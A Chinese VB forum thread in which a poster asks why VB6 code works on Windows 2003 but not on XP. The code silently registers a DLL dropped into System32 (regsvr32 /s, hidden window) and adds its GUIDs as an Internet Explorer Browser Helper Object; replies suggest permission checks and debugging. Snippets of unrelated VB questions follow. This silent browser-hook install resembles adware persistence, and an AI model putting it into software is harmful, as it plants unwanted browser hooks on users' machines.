vb程序在XP系统下无法 获取DLL的clisd
我用VB6.0写了一个绿色软件(50K)左右,在windows2003下执行正常,但在XP下却没有任何反映~~
追踪调试发现,获取DLL的Clisd为空~~
我把代码先放上来、供大家分析一下
Private Sub register()
On Error Resume Next
Dim cl As String, pid As Long, h As Long
cl = "c:\windows\system32\project.dll"
pid = Shell("cmd /c regsvr32 /s " + cl, vbHide)
h = OpenProcess(PROCESS_ALL_ACCESS, False, pid)
WaitForSingleObject h, -1
cl = Replace(cl, """", "")
Set ti = ta.TypeLibInfofromFile(cl)
Dim clisd As String
For Each tc In ti.CoClasses
clisd = tc.Guid
wsh.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\" + clisd + "\", Null
Next
End Sub
本例实现了,把释放到System32下的project.dll的 clisd 值,添加到 BHO下~~
在开发电脑上运行正常、但跑到XP下就不行了~~
请高手和前辈指点一下~~~
谢谢~~
我的QQ:544588699
分确实不多了~~~
去掉你的On Error Resume Next看看什么错误,另外看看是不是因为权限的关系
可能是权限问题
还有你可以在xp环境下调试一下
建议在XP环境下调试一下,看看project.dll是否注册成功。
相关问答:
请教一下:我用vb写了一个调用Illustrator的测试程序,代码很简单:Private Sub Command1_Click()
Dim app As New Illustrator.Application
Dim doc As Illustrator.Document
Dim thislayer As Illustrator.Layer ......
想在warcraft3里进行写屏操作【如对战平台中的胜负提示信息】,效果就像游戏平台中一样,我试过在一窗口中写入文字,然后一直让窗口强制最前,虽然能实现文字显示,但是文字会不断闪烁,而且有不确定BUG,通过论坛搜 ......
TF1.text = " <_2_ZCHGZBH> " & MSFlexGrid1.TextMatrix(k, 1) & " </_2_ZCHGZBH> "
大家好,我用上面一个东西赋值 TF1.text = & ......
要用vb打印一条线,长度是100毫米怎么写?
关注
VB code:
Printer.ScaleMode = vbMillimeters
Printer.Line (10, 10)-(110, 10)
Printer.ScaleMode = vbMillimeters
Print ......
用VB怎么只针对windows自带的文件的右键添加菜单 如(.txt .doc)
这个是只针对以这两个为扩展名的文件操作
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\txtfile\shell\[随便起名]\command]
@= ......